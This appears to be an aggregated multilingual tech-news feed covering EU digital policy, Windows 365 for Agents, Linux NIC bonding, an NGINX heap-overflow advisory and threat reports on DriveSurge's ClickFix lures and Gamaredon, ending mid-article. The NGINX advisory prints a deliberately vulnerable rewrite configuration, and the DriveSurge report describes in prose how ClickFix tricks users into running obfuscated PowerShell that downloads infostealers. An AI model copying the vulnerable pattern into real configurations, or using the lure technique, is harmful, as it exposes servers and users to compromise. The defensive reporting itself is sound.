Quanto è efficace davvero?


La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori


L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.


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Die EU-Kommission hat ein Gesetz vorgestellt, mit dem sich die Mitgliedstaaten in Sachen Cloud und KI-Entwicklung von US-amerikanischen Anbietern unabhängiger machen sollen. Doch das Gesetz bleibt zurückhaltend und lässt vieles offen, kritisieren Fachleute.

netzpolitik.org/2026/cloud-and…

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Die Abschaffung des mehrsprachigen Cosmo Radio ist eine demokratische Bankrotterklärung. Wir erleben hier eine öffentlich-rechtliche Medienpolitik, die schon heute vor den Rechtsradikalen kuscht und die braune politische Agenda in vorauseilendem Gehorsam umsetzt. Ein Kommentar.

netzpolitik.org/2026/aus-fuer-…

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📡 Am 12. Juni diskutiert der Bundesrat unter TOP 33 eine deutliche Ausweitung der #Vorratsdatenspeicherung: bundesrat.de/SharedDocs/TO/106…

@netzpolitik_feed berichtet: Künftig sollen IP-Adressen und Verbindungsdaten aller Bürger*innen bis zu 6 Monate gespeichert werden. Zugriff bekämen neben Bundesbehörden auch Länderpolizeien und Geheimdienste. 🔗netzpolitik.org/2026/massenueb…

#TeamDatenschutz

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CVE-2025-48595: Android 0-Day Actively Exploited — Patch Your Devices Now
#CyberSecurity
securebulletin.com/cve-2025-48…
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Threat Actors Use AI Agents and Cursor IDE to Automate Active Directory Attacks and Beat EDR
#CyberSecurity
securebulletin.com/threat-acto…
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Five OpenClaw Zero-Days Let Attackers Silently Hijack AI Agent Access on Slack, Teams, and Discord
#CyberSecurity
securebulletin.com/five-opencl…
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CVE-2026-8206 (CVSS 9.8): Kirki WordPress Plugin Flaw Lets Attackers Steal Admin Accounts on 500,000+ Sites
#CyberSecurity
securebulletin.com/cve-2026-82…
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Privacy Becomes You, Bayou State: A Look at the Louisiana Data Privacy Act
fpf.org/blog/privacy-becomes-y…
@privacy
Louisiana has become the 22nd U.S. state to enact a comprehensive consumer privacy law—and the third this year following Oklahoma and Alabama—after Governor Landry signed the Louisiana Data Privacy Act (LDPA) (SB 386) on May 29. Overall, this is a fairly standard state privacy law that follows the Washington

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Windows 365 for Agents: Cloud PC per l’automazione AI in azienda
#tech
spcnet.it/windows-365-for-agen…
@informatica


Windows 365 for Agents: Cloud PC per l’automazione AI in azienda


Cosa sono i Windows 365 for Agents?


Microsoft ha annunciato in public preview Windows 365 for Agents, una nuova offerta che estende la piattaforma Cloud PC per supportare l’automazione basata su agenti AI. L’idea di fondo è semplice ma potente: invece di assegnare un Cloud PC a un utente umano, lo si mette a disposizione di un agente AI che ne ha bisogno per completare un’attività che richiede l’interazione con un’interfaccia grafica — un browser, un’applicazione legacy, un portale web senza API.

Il servizio è attualmente disponibile in anteprima pubblica esclusivamente negli Stati Uniti, quindi prima di pianificare un’implementazione conviene verificare la disponibilità del tenant.

Perché un Cloud PC per un agente AI?


La domanda legittima è: perché un agente AI dovrebbe aver bisogno di un Cloud PC? Molti workflow di automazione si completano già tramite API, connettori o strumenti MCP. Ma esistono scenari reali in cui questo non è possibile:

  • Applicazioni legacy che non espongono API
  • Portali web che richiedono interazione manuale con elementi UI
  • Processi che dipendono da software desktop non modernizzato
  • Task che richiedono la gestione di file locali tramite interfaccia grafica

In questi casi, l’agente ha bisogno di un ambiente desktop reale su cui operare — e Windows 365 for Agents fornisce esattamente questo, con un modello di sicurezza, identità e governance pensato per le organizzazioni enterprise.

Architettura: pool e check-out/check-in


Il meccanismo centrale è il Cloud PC agent pool: un insieme condiviso di Cloud PC pre-provisionati con proprietà comuni (piano di billing, regione geografica, numero di istanze, immagine). Gli agenti non hanno un Cloud PC dedicato — usano un modello di check-out/check-in:

  1. L’agente prenota un Cloud PC disponibile nel pool
  2. Esegue il proprio task
  3. Restituisce il Cloud PC al pool
  4. Il Cloud PC viene resettato prima del riutilizzo

Microsoft descrive quattro piani operativi per l’architettura degli agenti:

  • Computer-Create: provisioning e manutenzione dei pool
  • Computer-Get: prenotazione e rilascio dei Cloud PC
  • Computer-Do: invio di azioni (click, digitazione, ecc.)
  • Computer-See / Computer-TakeControl: osservazione e controllo manuale da parte di un operatore umano

La superficie di controllo in-session usa il Model Context Protocol (MCP), lo stesso protocollo che permette agli agenti AI di scoprire e chiamare strumenti esterni in modo standardizzato.

Modello di sicurezza e identità


I Cloud PC for Agents sono Microsoft Entra-joined e Intune-enrolled. Ogni agente opera con una propria identità dedicata in Microsoft Entra — non viene riutilizzata o impersonata l’identità di un utente umano. Questo è un punto importante per la governance: ogni azione dell’agente è tracciabile e attribuibile a un’identità specifica.

Il supporto attuale alle Conditional Access per le identità agente include il controllo Block access, ma Microsoft chiarisce che non è ancora un sostituto completo per tutti i pattern di Conditional Access usati con gli utenti umani. Da tenere in considerazione prima di portare in produzione scenari critici.

Come configurare Windows 365 for Agents


Il processo di configurazione richiede alcuni prerequisiti:

  • Una licenza Windows 365 o Agent 365 nel tenant
  • Un piano di billing Windows 365 for Agents attivo
  • Opzionalmente, utenti agente in Agent 365


Passo 1: creare la Billing Policy


Nel Microsoft 365 admin center, andare su Billing & usage → Billing policies. Selezionare una sottoscrizione Azure, un resource group e una regione, quindi abilitare Windows 365 for Agents sotto Pay-as-you-go services.

Passo 2: creare la Provisioning Policy per agenti


Nel Microsoft Intune admin center, navigare su Devices → Provision Cloud PCs → Provisioning policies (Agents) → Create policy. La procedura guidata richiede:

  • Nome della policy
  • Piano di billing
  • Numero di Cloud PC always-available (da 1 a 200)
  • Area geografica
  • Agenti assegnati
  • Immagine e impostazioni di lingua

Nota: i gruppi utente non sono attualmente supportati per l’assegnazione degli agenti. Il provisioning richiede circa 20-30 minuti.

Monitoraggio e costi


I Cloud PC for Agents sono visibili in Intune admin center sotto Devices → All devices. Si riconoscono dal prefisso CPCA- nel nome, dal modello Cloud PC for Agents e dal profilo di enrollment che riporta il nome della provisioning policy.

Per monitorare la capacità del pool: Devices → Provision Cloud PCs → Provisioning policies (Agents), selezionare una policy e verificare le sessioni attive e disponibili.

Sul fronte dei costi (area US):

  • Pay-as-you-go: $0,40 per ora (arrotondato all’ora intera successiva)
  • Always-available Cloud PC: $5 per Cloud PC al mese, in aggiunta al billing a consumo

I costi sono tracciabili in Azure Cost Management filtrando per il tag Windows365foragents.

Quando usarlo — e quando no


Windows 365 for Agents è utile principalmente quando un agente deve interagire con un’interfaccia utente: workflow basati su browser, applicazioni legacy senza API affidabili, o software desktop non modernizzato. Se invece il workflow può essere completato tramite API o connettori, Microsoft stesso raccomanda di usare Agent 365 direttamente, senza passare per Windows 365 for Agents.

Dato che la documentazione operativa è ancora limitata — soprattutto sui dettagli di troubleshooting avanzato — Microsoft consiglia di trattare le prime implementazioni come controlled pilot piuttosto che come rollout di produzione su larga scala.

Conclusione


Windows 365 for Agents rappresenta un’evoluzione logica della piattaforma Cloud PC verso il mondo dell’automazione agentiva. Per gli amministratori IT che gestiscono ambienti ibridi con applicazioni legacy, offre un percorso strutturato per integrare agenti AI senza sacrificare la governance di identità e sicurezza. Vale la pena monitorarne l’evoluzione, in particolare quando la preview si estenderà alle region europee.

Fonte: Windows 365 for Agents: Cloud PCs for AI automation — 4sysops


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Comparing Enacted App Store Accountability Acts
fpf.org/blog/comparing-enacted…
@privacy
On May 28, 2026, the 5th Circuit granted a stay on the preliminary injunction blocking enforcement of Texas’s App Store Accountability Act (ASAA)—meaning the law is now in effect while litigation on the merits continues. In 2025, Utah, Texas, and Louisiana enacted App Store Accountability Acts (ASAAs) which impose novel and significant age assurance

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Lo strumento di archiviazione più potente di Internet è in pericolo

Mentre i principali organi di informazione bloccano la Wayback Machine, giornalisti e gruppi di pressione si stanno mobilitando per proteggere la vasta collezione di pagine web dell'Internet Archive.

wired.com/story/the-internets-…

@eticadigitale

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CVE-2026-42945 (NGINX Rift): vulnerabilità critica attivamente sfruttata — aggiornare subito
#tech
spcnet.it/cve-2026-42945-nginx…
@informatica


CVE-2026-42945 (NGINX Rift): vulnerabilità critica attivamente sfruttata — aggiornare subito


Il 13 maggio 2026 il team di ricerca di Depthfirst ha reso pubblici i dettagli tecnici di CVE-2026-42945, una vulnerabilità critica nel modulo ngx_http_rewrite_module di NGINX, immediatamente ribattezzata NGINX Rift. Appena tre giorni dopo la divulgazione, i sistemi canary di VulnCheck hanno rilevato tentativi di sfruttamento attivo in the wild. Con oltre 5,7 milioni di istanze NGINX esposte su Internet che eseguono versioni potenzialmente vulnerabili, questo CVE richiede attenzione immediata da parte di tutti gli amministratori di sistema.

Cos’è e come funziona la vulnerabilità


CVE-2026-42945 è una vulnerabilità di memory corruption (heap-based buffer overflow) che risiede nel modulo di riscrittura URL di NGINX. Il problema nasce da un errore nel calcolo del buffer di destinazione quando vengono usate capture non nominati (i riferimenti $1, $2, ecc.) nelle direttive rewrite.

Il bug si manifesta quando sono presenti tutte e tre queste condizioni nella configurazione di NGINX:

  1. Una direttiva rewrite con capture non nominati (es. $1, $2)
  2. Una stringa di sostituzione che contiene un punto interrogativo (parametri GET)
  3. Un’ulteriore direttiva rewrite, if, o set successiva

In questa configurazione, NGINX calcola la dimensione del buffer usando un insieme di assunzioni sull’escape dei caratteri, ma poi scrive nel buffer con assunzioni diverse. Il risultato è una scrittura oltre i limiti del buffer allocato — un classico heap overflow. La cosa particolarmente insidiosa è che i byte scritti oltre il buffer sono determinati dall’URI dell’attaccante, rendendo la corruzione controllabile e quindi molto più pericolosa di un semplice crash casuale.

Esempio di configurazione vulnerabile


Ecco un pattern di configurazione che espone l’istanza NGINX all’exploit:

server {
    listen 80;
    server_name example.com;

    location / {
        # Configurazione VULNERABILE: capture non nominato ($1) + "?" nella sostituzione
        rewrite ^/vecchio/(.*)$ /nuovo/?id=$1 last;
        
        # La presenza di questa seconda direttiva aggrava il problema
        rewrite ^/nuovo/(.*)$ /index.php?path=$1 last;
    }
}

La versione sicura usa capture nominati:
server {
    listen 80;
    server_name example.com;

    location / {
        # Configurazione SICURA: uso di capture nominati
        rewrite ^/vecchio/(?P<slug>.*)$ /nuovo/?id=${slug} last;
        rewrite ^/nuovo/(?P<path>.*)$ /index.php?path=${path} last;
    }
}

Impatto: DoS garantito, RCE possibile


L’impatto della vulnerabilità dipende dalla configurazione del sistema operativo:

  • Denial of Service (DoS): ottenibile su qualsiasi configurazione NGINX vulnerabile. Richieste HTTP ripetute mantengono i worker process in un crash loop, degradando la disponibilità di tutti i virtual host serviti dall’istanza.
  • Remote Code Execution (RCE): teoricamente possibile, ma richiede che l’Address Space Layout Randomization (ASLR) sia disabilitata sul server target. Su sistemi Linux moderni con ASLR abilitata (la configurazione predefinita), il RCE è significativamente più difficile da ottenere.

Il proof-of-concept pubblico rilasciato da Depthfirst dimostra il DoS in modo affidabile e ripetibile.

Versioni affette


La vulnerabilità colpisce:

  • NGINX Open Source: versioni dalla 0.6.27 alla 1.30.0 inclusa
  • NGINX Plus: versioni dalla R32 alla R36
  • Prodotti F5 che incorporano NGINX: NGINX Ingress Controller, F5 WAF for NGINX, F5 DoS for NGINX e altri


Come verificare la propria esposizione


Prima di aggiornare, è utile capire se la propria configurazione è effettivamente sfruttabile. Non basta avere una versione vulnerabile: è necessario che sia presente il pattern di configurazione critico.

Cerca nelle tue configurazioni il pattern problematico:

# Cerca direttive rewrite con $1, $2, ecc. seguite da "?"
grep -rn 'rewrite.*\$[0-9].*?' /etc/nginx/

# Verifica la versione installata
nginx -v

Su sistemi Debian/Ubuntu puoi controllare se il pacchetto è già stato aggiornato:
apt-cache policy nginx
apt-cache policy nginx-full

Patch e mitigazioni disponibili


F5 ha già rilasciato le versioni corrette:

  • NGINX Open Source 1.31.0 (versione mainline) e 1.30.1 (versione stable)
  • NGINX Plus R36 P4 e R32 P6
  • F5 WAF for NGINX v5.13.0
  • F5 DoS for NGINX v4.9.0

Le principali distribuzioni Linux stanno rilasciando pacchetti aggiornati:

# Debian/Ubuntu
sudo apt update && sudo apt upgrade nginx

# AlmaLinux/RHEL/CentOS
sudo dnf update nginx

# Verifica la versione dopo l'aggiornamento
nginx -v && nginx -t

Se non è possibile aggiornare immediatamente, la mitigazione ufficiale di F5 consiste nel convertire tutti i capture non nominati in capture nominati nelle direttive rewrite, come mostrato nell’esempio di configurazione sicura sopra.

Considerazioni operative


Alcuni aspetti pratici da tenere a mente durante la risposta a questo incidente:

L’aggiornamento di NGINX su sistemi in produzione richiede tipicamente un graceful reload (nginx -s reload) che non interrompe le connessioni esistenti. Tuttavia, se si installa una nuova versione del pacchetto, potrebbe essere necessario un riavvio del processo:

# Reload della configurazione (zero-downtime)
nginx -s reload

# Oppure tramite systemd
systemctl reload nginx

# Riavvio completo (se necessario dopo aggiornamento del binario)
systemctl restart nginx

Per ambienti containerizzati con NGINX come base image, è necessario ricostruire e ridistribuire i container aggiornando la versione base dell’immagine. Se si usa NGINX Ingress Controller su Kubernetes, aggiornare il deployment del controller.

Conclusione


CVE-2026-42945 è una vulnerabilità seria che merita risposta rapida. Sebbene non tutte le istanze NGINX siano sfruttabili (dipende dalla configurazione delle direttive rewrite), il DoS è ottenibile su qualsiasi sistema vulnerabile con il pattern critico e lo sfruttamento attivo è già confermato. La patch è disponibile, la migrazione alla versione 1.30.1 o 1.31.0 è il percorso consigliato. In alternativa, la conversione ai capture nominati nelle configurazioni rewrite offre una mitigazione efficace nell’immediato.

Fonti: Help Net Security, Depthfirst Security Research, F5 Security Advisory K000161019, VulnCheck


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Linux Network Bonding: configurare la ridondanza e il bilanciamento del carico delle interfacce di rete
#tech
spcnet.it/linux-network-bondin…
@informatica


Linux Network Bonding: configurare la ridondanza e il bilanciamento del carico delle interfacce di rete


Cos’è il Network Bonding su Linux?


Il network bonding (detto anche NIC bonding, link aggregation o NIC teaming) è una tecnica che consente di unire due o più interfacce di rete fisiche in un’unica interfaccia logica. Il risultato? Maggiore larghezza di banda, ridondanza contro i guasti, o entrambi — a seconda della modalità scelta.

Il kernel Linux gestisce tutto questo tramite il modulo bonding, disponibile di default in quasi tutte le distribuzioni moderne. L’interfaccia bond appare al sistema operativo e alle applicazioni come una singola NIC: tutto il traffico la attraversa in modo trasparente.

Importante: il bonding non è la stessa cosa del bridging. Un bridge connette segmenti di rete separati; il bonding aggrega più interfacce in una sola. Scopo diverso, configurazione diversa. Inoltre, le interfacce Wi-Fi generalmente non sono compatibili con il bonding — i driver wireless non supportano la modalità promiscua e la manipolazione dei MAC address che il bonding richiede. Usate esclusivamente NIC Ethernet cablate.

Le 7 modalità di bonding


La scelta della modalità è la decisione più importante nell’intera configurazione. Ecco una panoramica pratica:

Mode 0 — Round-Robin (balance-rr)


I pacchetti vengono trasmessi in sequenza su tutte le interfacce. Offre bilanciamento del carico e tolleranza ai guasti, ma richiede una configurazione di static link aggregation sullo switch. Senza di essa si verificano pacchetti fuori sequenza e prestazioni scadenti.

Mode 1 — Active-Backup


Una sola interfaccia è attiva alla volta. Se quella attiva cade, subentra immediatamente una di riserva. Non richiede configurazione sullo switch: è la modalità più sicura e compatibile. Usatela se il vostro obiettivo è la pura ridondanza.

Mode 4 — 802.3ad (LACP)


Link Aggregation dinamica secondo lo standard IEEE 802.3ad. Richiede uno switch gestito con LACP abilitato. È la modalità più usata in ambienti enterprise: se il vostro switch lo supporta, questa è la scelta per la produzione.

Mode 6 — Balance-ALB


Bilancia sia il traffico in uscita sia quello in entrata tramite negoziazione ARP. Non richiede configurazione sullo switch: ottima scelta per home lab o server senza switch gestiti.

Per home lab senza switch gestito: Mode 1 (failover) o Mode 6 (load balancing). Per server di produzione con switch gestito: Mode 4 (LACP).

Prerequisiti


Prima di iniziare, verificate di avere:

  • Due o più NIC fisiche (o virtuali, in una VM)
  • Accesso root o sudo
  • Il modulo bonding del kernel (incluso nella maggior parte delle distribuzioni)

Verificate che il modulo sia disponibile:

modinfo bonding

Caricatelo immediatamente se necessario:
sudo modprobe bonding

Identificate le vostre interfacce prima di toccare qualsiasi configurazione:
ip link show

Sui sistemi moderni vedrete nomi come enp3s0, enp4s0 oppure eth0, eth1. Annotateli.

Metodo 1: NetworkManager con nmcli (desktop e server moderni)


Se usate Ubuntu, Fedora, Debian con NetworkManager o qualsiasi distribuzione desktop, questo è l’approccio più diretto. NetworkManager supporta il bonding in modo nativo da anni.

Creare prima l’interfaccia bond:

sudo nmcli con add type bond con-name bond0 ifname bond0 bond.options "mode=active-backup,miimon=100"

Aggiungere le interfacce fisiche come slave del bond:
sudo nmcli con add type ethernet slave-type bond con-name bond0-slave1 ifname enp3s0 master bond0
sudo nmcli con add type ethernet slave-type bond con-name bond0-slave2 ifname enp4s0 master bond0

Assegnare un indirizzo IP statico al bond:
sudo nmcli con modify bond0 ipv4.addresses 192.168.1.100/24 ipv4.gateway 192.168.1.1 ipv4.dns 1.1.1.1 ipv4.method manual

Oppure usare DHCP:
sudo nmcli con modify bond0 ipv4.method auto

Attivare la connessione:
sudo nmcli con up bond0

Verificare che il bond funzioni:
cat /proc/net/bonding/bond0

L’output mostrerà l’interfaccia slave attiva, lo stato MII, velocità e duplex di ogni NIC. Questo file è il vostro migliore alleato per il troubleshooting.

Metodo 2: systemd-networkd (server e installazioni minimali)


Per server senza NetworkManager, systemd-networkd gestisce il bonding in modo pulito. Adatto a Ubuntu Server, Debian minimale e configurazioni snelle.

Creare il file netdev per il bond:

sudo nano /etc/systemd/network/10-bond0.netdev
[NetDev]
Name=bond0
Kind=bond

[Bond]
Mode=active-backup
MIIMonitorSec=100ms
UpDelaySec=200ms
DownDelaySec=200ms

Configurare la rete per l’interfaccia bond:
sudo nano /etc/systemd/network/20-bond0.network
[Match]
Name=bond0

[Network]
DHCP=yes

Creare un file per ogni interfaccia slave (uno per NIC):
sudo nano /etc/systemd/network/30-bond0-slave1.network
[Match]
Name=enp3s0

[Network]
Bond=bond0

Riavviare il servizio e verificare:
sudo systemctl restart systemd-networkd
cat /proc/net/bonding/bond0

Metodo 3: Netplan (Ubuntu Server 18.04+)


Ubuntu Server usa Netplan come layer di configurazione di rete predefinito. Modificate il file di configurazione (di solito /etc/netplan/01-netcfg.yaml):

network:
  version: 2
  renderer: networkd
  ethernets:
    enp3s0:
      dhcp4: no
    enp4s0:
      dhcp4: no
  bonds:
    bond0:
      interfaces:
        - enp3s0
        - enp4s0
      addresses:
        - 192.168.1.100/24
      routes:
        - to: default
          via: 192.168.1.1
      nameservers:
        addresses:
          - 1.1.1.1
      parameters:
        mode: active-backup
        mii-monitor-interval: 100
        primary: enp3s0

Applicare la configurazione:
sudo netplan apply

Consiglio: su macchine remote, usate sudo netplan try prima di applicare definitivamente. Il comando applica la configurazione temporaneamente e la ripristina automaticamente dopo 120 secondi se non viene confermata — una rete di sicurezza preziosa.

Test del failover


Una volta configurato il bond, testate che il failover funzioni davvero. Con il bond attivo, simulate il guasto di una NIC scollegando fisicamente il cavo o disabilitando l’interfaccia via software:

sudo ip link set enp3s0 down

Il traffico dovrebbe continuare a fluire sull’interfaccia secondaria senza interruzioni percepibili. Verificate:
cat /proc/net/bonding/bond0

Il campo Currently Active Slave mostrerà la NIC di backup ora attiva.

Comandi utili per il monitoraggio

# Stato dettagliato del bond
cat /proc/net/bonding/bond0

# Statistiche di traffico per interfaccia
ip -s link show bond0

# Link failure count per slave
grep -A2 "Slave Interface" /proc/net/bonding/bond0

Problemi comuni e soluzioni


L’interfaccia bond non ha IP dopo il reboot: verificate che le connessioni NetworkManager siano impostate su autoconnect, oppure che i file systemd-networkd siano nel percorso corretto (/etc/systemd/network/).

Un solo slave risulta attivo anche in modalità round-robin o LACP: lo switch non è configurato correttamente per il LAG. Controllate la configurazione delle porte sullo switch.

I ping drop durano più del previsto durante il failover: aumentate il valore di UpDelaySec/DownDelaySec — un valore troppo basso può causare flapping. Valori tipici: 200ms per il down, 0ms per l’up.

Conclusione


Il network bonding su Linux è una soluzione matura, stabile e sorprendentemente semplice da configurare su distribuzioni moderne. Che vogliate ridondanza per un server critico o maggiore throughput per trasferimenti locali, i tre metodi descritti — nmcli, systemd-networkd e Netplan — coprono la quasi totalità degli scenari reali. Iniziate con Mode 1 (active-backup) se siete alle prime armi: non richiede switch gestito ed entra in produzione in pochi minuti.

Fonte: Linux Network Bonding: Combine Network Interfaces — LinuxBlog.io


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1/ Today, the European Commission presented the so-called #TechSovereigntyPackage after months of delay.

👎 Despite a very welcome EU #OpenSourceStrategy, the overall package is a lost opportunity built on a corporate lobbying narrative: the legal rules created to protect our rights are considered to be a barrier to the EU’s “competitiveness” and, as such, “sovereignty.”

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2/ European tech shouldn’t be about entering a race to the bottom with the 🇺🇲 & 🇨🇳 .

The EU's strength should be achieved through reliable data protection rules, platform, and AI governance, as well as environmental protection, economic justice and democratic governance of technology.

🚫 Any policy for “sovereignty” should focus on providing people in Europe with increased digital self-determination, not on building European versions of #BigTech

More ➡️ ec.europa.eu/newsroom/dae/redi…

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3/ 💰 The Tech Sovereignty Package is a massive spending spree for more AI, more chips, and more resource-sucking data centres in Europe.

🤑 The Commission suggests that by spending billions in public money to prop up the local data centre industry, it can magically create Europe’s own #ChatGPT and #claude

❌ The proposal gives little, if any, appreciation to the impact of AI data centres on water consumption, electricity use, and on communities.

➡️ digital-strategy.ec.europa.eu/…

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4/ There is a positive outlier: the EU #opensourcestrategy

It reflects the crucial role that free and open source software (FOSS) play for Europe’s ability to break free from Big Tech.

Its explicit recognition of independent, volunteer-, and SME-driven #FOSS communities ( 👋 @linux & @Mastodon) are a welcome signal that EU institutions are keen on leaving proprietary dependencies behind them.

Read our recommendations ⤵️
edri.org/our-work/europes-digi…

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5/ 📣 We call on the legislators in the European Parliament and the Council to question the Commission’s misguided belief in data centre growth and hyper-scaling unicorns, and instead build on the promises made in the Open Source Strategy and make sure they actually happen.

It is time to steer this continent towards a future where technology works for the people, democracy, and the planet.

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⚠️ Today, Norwegian Consumer Council and @noybeu filed a legal complaint against Schibsted, one of Norway’s largest commercial news publishers, for breaching several provisions of the GDPR.

💵 The complaint follows Schibsted’s introduction of “pay-or-consent” model on its news websites. People are asked to either pay to protect their privacy, or “consent” to their personal data being shared with the advertising industry.

forbrukerradet.no/siste-nytt/f…
+
noyb.eu/en/nordic-media-giant-…

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The @EUCommission released the new Technological Sovereignty Package.

This could mark a milestone for #FreeSoftware in Europe: it explicitly recognises our “Public Money? Public Code!” principle and introduces a Free Software first principle for public cloud and AI procurement.

But strategy alone is not enough! We need binding rules, long-term funding, and meaningful civil society involvement.

fsfe.org/news/2026/news-202606…

#SoftwareFreedom #publiccode

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✨ DriveSurge e il sistema zTDS: migliaia di siti dirottati per distribuire ClickFix e FakeUpdates su Windows e macOS
#CyberSecurity
insicurezzadigitale.com/drives…

@informatica


DriveSurge e il sistema zTDS: migliaia di siti dirottati per distribuire ClickFix e FakeUpdates su Windows e macOS


Si parla di:
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Un gruppo di cybercriminali tracciato come DriveSurge ha costruito un’infrastruttura di distribuzione malware su scala industriale, dirottando migliaia di siti web legittimi per veicolare campagne ClickFix e FakeUpdates. Dietro l’operazione si cela il sistema di distribuzione del traffico zTDS, che seleziona dinamicamente la trappola più efficace per ciascuna vittima. Il target: qualunque utente Windows o macOS che visiti un sito compromesso.

Chi è DriveSurge e cosa fa zTDS


DriveSurge è un threat actor di tipo malware-as-a-service specializzato nella distribuzione massiva di payload attraverso siti web compromessi. La sua infrastruttura operativa si regge sul Traffic Distribution System zTDS, un sistema sofisticato che analizza i visitatori in tempo reale — sistema operativo, geolocalizzazione, browser, orario di accesso — e li reindirizza verso la trappola ottimale, scelta tra due filoni principali: ClickFix o FakeUpdates.

I ricercatori di SilentPush hanno documentato la campagna, rilevando che DriveSurge gestisce attivamente una rete di traffic broker che monetizzano il traffico dai siti compromessi indirizzandolo verso le campagne di distribuzione. Si tratta di un modello di business criminale consolidato: chi compromette i siti raccoglie il traffico e lo vende; DriveSurge compra quel traffico e lo converte in infezioni.

ClickFix: il trucco psicologico che bypassa l’antivirus


La tecnica ClickFix si basa su un principio di social engineering brutalmente efficace: mostrare all’utente un messaggio di errore fasullo — tipicamente un avviso del browser o di un’applicazione — che invita a “risolvere il problema” incollando ed eseguendo manualmente un comando nella console PowerShell o nel terminale.

Il vantaggio per gli attaccanti è che l’utente diventa il vettore di infezione: non serve exploit, non serve privilege escalation — è la vittima stessa a lanciare il payload con i propri privilegi. Il comando incollato è solitamente una lunga stringa offuscata che scarica ed esegue il malware direttamente dalla memoria, senza scrivere file su disco che possano essere rilevati dall’antivirus.

Nella versione DriveSurge, i lure ClickFix impersonano avvisi di Google Chrome, Microsoft Edge o applicazioni enterprise, con messaggi localizzati nella lingua del visitatore. Il comando finale tipicamente esegue uno script PowerShell che:

  • Scarica un payload cifrato da un dominio compromesso o da un CDN legittimo abusato
  • Lo decifra in memoria ed esegue il dropper
  • Installa un infostealer (Lumma Stealer, Vidar, o varianti custom) o un RAT
  • Aggiunge persistenza tramite scheduled task o chiavi di registro


FakeUpdates: il classico che non tramonta


Il secondo filone, FakeUpdates (noto anche come SocGholish), simula un prompt di aggiornamento del browser: una pagina sovrapposta al sito legittimo mostra un finto avviso di aggiornamento critico per Chrome, Firefox o Edge, invitando a scaricare un file .zip o .js che contiene il dropper.

La novità documentata da SilentPush nella campagna DriveSurge è l’estensione a macOS: oltre ai target Windows classici, il sistema zTDS identifica i visitatori Apple e li reindirizza verso una variante della campagna che distribuisce script JavaScript malevoli ottimizzati per l’ecosistema macOS, scaricando payload .dmg o .pkg firmati con certificati sviluppatore ottenuti fraudolentemente.

Infrastruttura e scala dell’operazione


La campagna sfrutta migliaia di siti web WordPress, Joomla e Magento compromessi come stager di primo livello: il codice iniettato nel sito vittima è minimo e difficile da rilevare — spesso poche righe di JavaScript offuscato aggiunte a file tema o plugin — che si limita a interrogare l’infrastruttura zTDS per decidere se mostrare o meno il lure al visitatore.

Questa architettura “many-to-one” offre a DriveSurge una resilienza elevata: anche se decine di siti vengono ripuliti, l’infrastruttura centrale rimane intatta e la campagna continua su altri domini. Il sistema zTDS applica anche un meccanismo di frequency capping: lo stesso indirizzo IP non riceve il lure più di una volta in una finestra temporale definita, riducendo il rischio che ricercatori di sicurezza o sistemi automatizzati di crawling identifichino i siti compromessi.

Implicazioni per i difensori


La campagna DriveSurge richiede un approccio difensivo stratificato, poiché aggira molti controlli tradizionali:

  • Blocco delle esecuzioni PowerShell da clipboard: configurare Windows Defender Application Control (WDAC) o AppLocker per limitare l’esecuzione di PowerShell non firmato lanciato interattivamente riduce drasticamente l’efficacia di ClickFix.
  • Proxy DNS con blocco dei redirect sospetti: i sistemi zTDS usano catene di redirect multi-hop; una soluzione DNS filtering (Cisco Umbrella, Cloudflare Gateway) che blocchi i redirect a dominio nuovo può interrompere la catena prima che la vittima veda il lure.
  • Awareness degli utenti: il vettore ClickFix è efficace perché convincente — investire in training specifico su “nessun sito legittimo ti chiede mai di aprire PowerShell e incollare comandi” ha un ROI alto.
  • Monitoraggio dei processi figli di browser: un browser che lancia powershell.exe, cmd.exe o wscript.exe come processo figlio è un segnale forte di ClickFix in esecuzione — aggiungere questa detection nelle regole EDR.
  • Hardening dei CMS: verificare regolarmente l’integrità dei file JavaScript dei propri siti WordPress/Joomla/Magento — i propri siti potrebbero essere già usati come stager di DriveSurge a insaputa degli amministratori.

DriveSurge dimostra che ClickFix e FakeUpdates non sono tecniche in declino: l’adozione di un TDS sofisticato come zTDS e l’espansione a macOS segnalano un investimento operativo continuo e una struttura criminale in crescita. La semplicità del vettore — fare in modo che sia l’utente a eseguire il malware — lo rende uno degli attacchi più difficili da bloccare con soli controlli tecnici.


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✨ Gamaredon sfrutta CVE-2025-8088 in WinRAR per distribuire GammaWorm e GammaSteel contro l’Ucraina
#CyberSecurity
insicurezzadigitale.com/gamare…

@informatica


Gamaredon sfrutta CVE-2025-8088 in WinRAR per distribuire GammaWorm e GammaSteel contro l’Ucraina


Si parla di:
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Il gruppo russo Gamaredon, legato all’FSB (Federalnaya Sluzhba Bezopasnosti), ha intensificato le sue operazioni contro l’Ucraina sfruttando una vulnerabilità recentemente scoperta in WinRAR per distribuire una sofisticata catena di malware multi-stadio. La campagna, osservata dai ricercatori di Sekoia nel gennaio 2026, utilizza una sequenza di payload denominati GammaPhish, GammaLoad, GammaWorm e GammaSteel — strumenti progettati per persistenza a lungo termine, propagazione laterale e esfiltrazione massiva di dati sensibili.

La vulnerabilità sfruttata: CVE-2025-8088


